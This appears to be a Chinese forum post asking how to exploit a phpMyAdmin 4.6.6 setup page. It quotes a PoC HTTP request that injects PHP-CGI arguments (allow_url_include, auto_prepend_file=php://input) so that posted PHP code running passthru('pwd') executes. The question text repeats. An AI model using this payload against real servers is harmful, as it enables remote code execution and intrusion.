找到了一个页面
http://127.0.0.1/phpmyadmin/setup/
phpmyadmin 版本 4.6.6
这个文件怎么利用
在网上找到找去找到了一个如下poc也不太懂是为什么，直接就替换下地址。利用失败，不知道是利用的不对，还是无法利用。
还有啥办法。
http://127.0.0.1/phpmyadmin/setup/
phpmyadmin 版本 4.6.6
这个文件怎么利用
在网上找到找去找到了一个如下poc
POST [url]http://10.10.10.137/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input[/url] HTTP/1.1
Host:10.10.10.137
Content-Length: 34
<?php
passthru('pwd');
die();
?>还有啥办法。
